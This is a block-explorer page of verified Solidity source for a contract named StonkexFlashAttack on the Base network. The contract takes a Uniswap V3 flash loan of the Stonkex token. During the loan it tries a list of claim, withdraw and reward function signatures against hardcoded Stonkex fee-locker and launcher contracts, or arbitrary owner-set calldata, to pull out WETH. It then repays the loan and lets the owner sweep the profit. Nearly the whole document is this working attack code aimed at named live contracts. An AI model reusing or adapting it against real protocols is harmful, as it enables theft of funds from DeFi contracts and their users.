Skip to content
Verified contractExactMIT

StonkexFlashAttack

Address0x4c6726cfd4e2363434f007602cab15fa15c4332f
Balance

0 ETH

 

Transactions

2

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,429,777
Creation transaction
0xf1c2412cf2…82fbf8218b

banqi.sol/Asterexp.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StonkexFlashAttack {
    // ----- Base mainnet -----
    address public constant STONKEX            = 0x5ab000ff9B9FfE0349CE5ffA5fD86f217C3680F5;
    address public constant POOL               = 0x7692AcC1CDd771D09EbCae3663e1843b2911BEC7;
    address public constant V1_FEE_LOCKER      = 0x71D1D363176723f85d98B8B430DF33cde89f0A7f;
    address public constant CURRENT_FEE_LOCKER = 0x43555104f569D17026037E5637691b95c79fD03A;
    address public constant V1_LAUNCHER        = 0x4714f6EC81639Ca59EEBE634490a4d8671DCe7B4;
    address public constant CURRENT_LAUNCHER   = 0xD58a240995405941cdbA41cd35d7920F2B212B4a;

    // ----- State -----
    address public owner;
    // ↓↓↓ WETH hardcoded to Base — this is why no constructor arg is needed
    address public weth = 0x4200000000000000000000000000000000000006;

    bool    public useCustom;
    address public customTarget;
    bytes   public customData;
    uint256 public minProfit;
    uint256 private _lock = 1;

    event FlashExecuted(uint256 borrowed, uint256 wethProfit);
    event ClaimAttempt(address indexed target, bool ok, uint256 wethAfter);
    event Claimed(address indexed target, uint256 wethReceived);

    modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; }
    modifier nonReentrant() {
        require(_lock == 1, "reentrant");
        _lock = 2;
        _;
        _lock = 1;
    }

    // ===== NO CONSTRUCTOR ARGUMENTS =====
    constructor() {
        owner = msg.sender;
        (bool ok, bytes memory ret) = STONKEX.call(
            abi.encodeWithSignature("approve(address,uint256)", POOL, type(uint256).max)
        );
        require(ok && (ret.length == 0 || abi.decode(ret, (bool))), "approve fail");
    }

    // ----- admin -----
    function setWeth(address _w) external onlyOwner { require(_w != address(0), "zero"); weth = _w; }
    function setMinProfit(uint256 m) external onlyOwner { minProfit = m; }
    function transferOwnership(address _n) external onlyOwner { require(_n != address(0), "zero"); owner = _n; }

    function setCustomClaim(address t, bytes calldata d) external onlyOwner {
        require(t != address(0), "zero target");
        customTarget = t;
        customData   = d;
        useCustom    = true;
    }
    function clearCustomClaim() external onlyOwner {
        useCustom = false; customTarget = address(0); delete customData;
    }

    // ----- deposits -----
    function depositStonkex(uint256 amount) external {
        (bool ok, bytes memory ret) = STONKEX.call(
            abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount)
        );
        require(ok && (ret.length == 0 || abi.decode(ret, (bool))), "deposit failed");
    }

    // ----- execute -----
    function execute(uint256 amount) external onlyOwner nonReentrant returns (uint256 profit) {
        (, bytes memory r0) = POOL.staticcall(abi.encodeWithSignature("token0()"));
        address token0 = abi.decode(r0, (address));
        uint256 a0 = token0 == STONKEX ? amount : 0;
        uint256 a1 = token0 == STONKEX ? 0 : amount;

        uint256 wethBefore = _wethBal();
        (bool ok, ) = POOL.call(
            abi.encodeWithSignature(
                "flash(address,uint256,uint256,bytes)",
                address(this), a0, a1, abi.encode(a0, a1)
            )
        );
        require(ok, "flash failed");
        profit = _wethBal() - wethBefore;
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        require(msg.sender == POOL, "not pool");
        (uint256 a0, uint256 a1) = abi.decode(data, (uint256, uint256));

        uint256 received = _tryClaim();

        if (a0 + fee0 > 0) {
            (, bytes memory r) = POOL.staticcall(abi.encodeWithSignature("token0()"));
            address t0 = abi.decode(r, (address));
            (bool ok, ) = t0.call(abi.encodeWithSignature("transfer(address,uint256)", POOL, a0 + fee0));
            require(ok, "repay0");
        }
        if (a1 + fee1 > 0) {
            (, bytes memory r) = POOL.staticcall(abi.encodeWithSignature("token1()"));
            address t1 = abi.decode(r, (address));
            (bool ok, ) = t1.call(abi.encodeWithSignature("transfer(address,uint256)", POOL, a1 + fee1));
            require(ok, "repay1");
        }
        if (minProfit > 0) require(received >= minProfit, "profit < min");
        emit FlashExecuted(a0 + a1, received);
    }

    // ----- claim logic -----
    function _tryClaim() internal returns (uint256 received) {
        uint256 before = _wethBal();

        if (useCustom) {
            (bool ok, ) = customTarget.call{gas: 1_500_000}(customData);
            uint256 afterBal = _wethBal();
            emit ClaimAttempt(customTarget, ok, afterBal);
            if (afterBal > before) {
                emit Claimed(customTarget, afterBal - before);
                return afterBal - before;
            }
            return 0;
        }

        address[5] memory targets = [
            STONKEX, V1_FEE_LOCKER, CURRENT_FEE_LOCKER, V1_LAUNCHER, CURRENT_LAUNCHER
        ];
        bytes4[8] memory sigs = [
            bytes4(keccak256("claim()")),
            bytes4(keccak256("claimRewards()")),
            bytes4(keccak256("withdraw()")),
            bytes4(keccak256("getReward()")),
            bytes4(keccak256("harvest()")),
            bytes4(keccak256("claimRewards(address)")),
            bytes4(keccak256("getReward(address)")),
            bytes4(keccak256("withdraw(address)"))
        ];
        for (uint256 i = 0; i < targets.length; i++) {
            if (targets[i].code.length == 0) continue;
            for (uint256 j = 0; j < sigs.length; j++) {
                bytes memory payload = j < 5
                    ? abi.encodeWithSelector(sigs[j])
                    : abi.encodeWithSelector(sigs[j], address(this));
                (bool ok, ) = targets[i].call{gas: 150_000}(payload);
                uint256 afterBal = _wethBal();
                emit ClaimAttempt(targets[i], ok, afterBal);
                if (afterBal > before) {
                    emit Claimed(targets[i], afterBal - before);
                    return afterBal - before;
                }
            }
        }
        return 0;
    }

    // ----- helpers -----
    function _wethBal() internal view returns (uint256) {
        (bool ok, bytes memory ret) = weth.staticcall(
            abi.encodeWithSignature("balanceOf(address)", address(this))
        );
        if (!ok || ret.length < 32) return 0;
        return abi.decode(ret, (uint256));
    }
    function _balOf(address token, address who) internal view returns (uint256) {
        (bool ok, bytes memory ret) = token.staticcall(
            abi.encodeWithSignature("balanceOf(address)", who)
        );
        if (!ok || ret.length < 32) return 0;
        return abi.decode(ret, (uint256));
    }

    function withdrawAll(address token) external onlyOwner {
        require(token != address(0), "zero token");     // ← guards the exact error you got
        (, bytes memory r) = token.staticcall(
            abi.encodeWithSignature("balanceOf(address)", address(this))
        );
        uint256 bal = abi.decode(r, (uint256));
        (bool ok, ) = token.call(abi.encodeWithSignature("transfer(address,uint256)", owner, bal));
        require(ok, "withdraw failed");
    }

    function sweepETH() external onlyOwner {
        (bool ok, ) = owner.call{value: address(this).balance}("");
        require(ok, "eth sweep failed");
    }

    function info() external view returns (
        address token0, address token1, uint24 fee,
        uint256 poolStonkex, uint256 contractStonkex, uint256 contractWeth
    ) {
        (, bytes memory r0) = POOL.staticcall(abi.encodeWithSignature("token0()"));
        (, bytes memory r1) = POOL.staticcall(abi.encodeWithSignature("token1()"));
        (, bytes memory r2) = POOL.staticcall(abi.encodeWithSignature("fee()"));
        token0          = abi.decode(r0, (address));
        token1          = abi.decode(r1, (address));
        fee             = abi.decode(r2, (uint24));
        poolStonkex     = _balOf(STONKEX, POOL);
        contractStonkex = _balOf(STONKEX, address(this));
        contractWeth    = _balOf(weth, address(this));
    }

    receive() external payable {}
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.